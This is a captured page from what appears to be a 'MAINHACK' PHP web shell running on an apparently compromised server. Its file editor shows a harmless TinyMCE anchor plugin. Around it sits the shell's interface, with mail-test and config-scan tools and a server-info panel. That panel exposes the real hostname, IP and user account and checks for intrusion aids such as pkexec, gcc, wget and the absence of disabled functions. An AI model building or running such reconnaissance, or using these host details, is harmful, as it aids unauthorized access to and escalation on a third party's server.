[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: plugin.js
(function () { var anchor = (function () { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var isValidId = function (id) { return /^[A-Za-z][A-Za-z0-9\-:._]*$/.test(id); }; var getId = function (editor) { var selectedNode = editor.selection.getNode(); var isAnchor = selectedNode.tagName === 'A' && editor.dom.getAttrib(selectedNode, 'href') === ''; return isAnchor ? selectedNode.id || selectedNode.name : ''; }; var insert = function (editor, id) { var selectedNode = editor.selection.getNode(); var isAnchor = selectedNode.tagName === 'A' && editor.dom.getAttrib(selectedNode, 'href') === ''; if (isAnchor) { selectedNode.removeAttribute('name'); selectedNode.id = id; editor.undoManager.add(); } else { editor.focus(); editor.selection.collapse(true); editor.execCommand('mceInsertContent', false, editor.dom.createHTML('a', { id: id })); } }; var $_5wbtpu8ojkmcdud1 = { isValidId: isValidId, getId: getId, insert: insert }; var insertAnchor = function (editor, newId) { if (!$_5wbtpu8ojkmcdud1.isValidId(newId)) { editor.windowManager.alert('Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.'); return true; } else { $_5wbtpu8ojkmcdud1.insert(editor, newId); return false; } }; var open = function (editor) { var currentId = $_5wbtpu8ojkmcdud1.getId(editor); editor.windowManager.open({ title: 'Anchor', body: { type: 'textbox', name: 'id', size: 40, label: 'Id', value: currentId }, onsubmit: function (e) { var newId = e.data.id; if (insertAnchor(editor, newId)) { e.preventDefault(); } } }); }; var $_efx3us8njkmcdud0 = { open: open }; var register = function (editor) { editor.addCommand('mceAnchor', function () { $_efx3us8njkmcdud0.open(editor); }); }; var $_8n8okh8mjkmcducy = { register: register }; var isAnchorNode = function (node) { return !node.attr('href') && (node.attr('id') || node.attr('name')) && !node.firstChild; }; var setContentEditable = function (state) { return function (nodes) { for (var i = 0; i < nodes.length; i++) { if (isAnchorNode(nodes[i])) { nodes[i].attr('contenteditable', state); } } }; }; var setup = function (editor) { editor.on('PreInit', function () { editor.parser.addNodeFilter('a', setContentEditable('false')); editor.serializer.addNodeFilter('a', setContentEditable(null)); }); }; var $_bx87ma8pjkmcdud3 = { setup: setup }; var register$1 = function (editor) { editor.addButton('anchor', { icon: 'anchor', tooltip: 'Anchor', cmd: 'mceAnchor', stateSelector: 'a:not([href])' }); editor.addMenuItem('anchor', { icon: 'anchor', text: 'Anchor', context: 'insert', cmd: 'mceAnchor' }); }; var $_300eym8qjkmcdud5 = { register: register$1 }; global.add('anchor', function (editor) { $_bx87ma8pjkmcdud3.setup(editor); $_8n8okh8mjkmcducy.register(editor); $_300eym8qjkmcdud5.register(editor); }); function Plugin () { } return Plugin; }()); })();
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.68 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002